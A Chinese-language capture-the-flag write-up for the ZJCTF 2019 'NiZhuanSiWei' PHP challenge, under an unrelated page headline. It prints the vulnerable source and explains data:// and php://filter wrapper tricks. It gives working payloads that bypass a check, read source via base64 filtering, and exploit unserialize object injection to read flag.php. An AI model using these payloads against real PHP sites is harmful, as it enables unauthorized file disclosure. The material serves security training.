CODING DevOps 高階架構師王煒入選木蘭開源社群首批導師
阿新 • • 發佈:2021-08-17
php協議流、序列化
[ZJCTF 2019]NiZhuanSiWei
讀題
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
大概可以知道要過兩個if條件。
這裡先了解一些php協議流的知識:
-
data:// 資料流
這個data流可以直接傳入程式碼被解析執行,類似php://input 輸入流
data: text/plain,輸入資料
data: text/plain;base64,輸入資料(base64加密)
-
php://filter 編碼流
檢視php檔案原始碼,而不是被解析。
原理是通過php編碼流base64編碼使得解析器無法解析。
php://filter/read=convert.base64-encode/resource=php檔案
所以第一個if條件繞過可以構造
?text=data:text/plain,welcome to the zjctf
接下來加入 file
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64.encode/resource=useless.php
讀取到useless.php
base64解碼後得到
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
也就是 Flag 這個類被當作字串的時候(例如echo $obj)會 tostring 一下子,而這裡 tostring 的功能就是返回 $this->file 的內容。
再看這一段
include($file); //useless.php
$password = unserialize($password);
echo $password;
如果 password 是一個 Flag 物件的話,那 echo $password 正好能執行tosring,通過賦值給裡面的 file ,就可以讀想要的檔案,然後注意一下這裡有一個反序列化。
所以構造一個序列化的Flag物件
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
這裡簡單說一下上面這串怎麼來的,數字 4、4、8其實就是它們各自後面字串的長度,1 呢就是說裡面有1個變數,其他的話應該還是挺好理解的,注意最後要分號 “;”。當然這裡 file 的型別是 public ,如果是 private 或 protected 的話,寫法又有些許差別。
不熟悉的話可以寫個php跑一下,線上php工具。
最後payload:
?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
檢視原始碼看到flag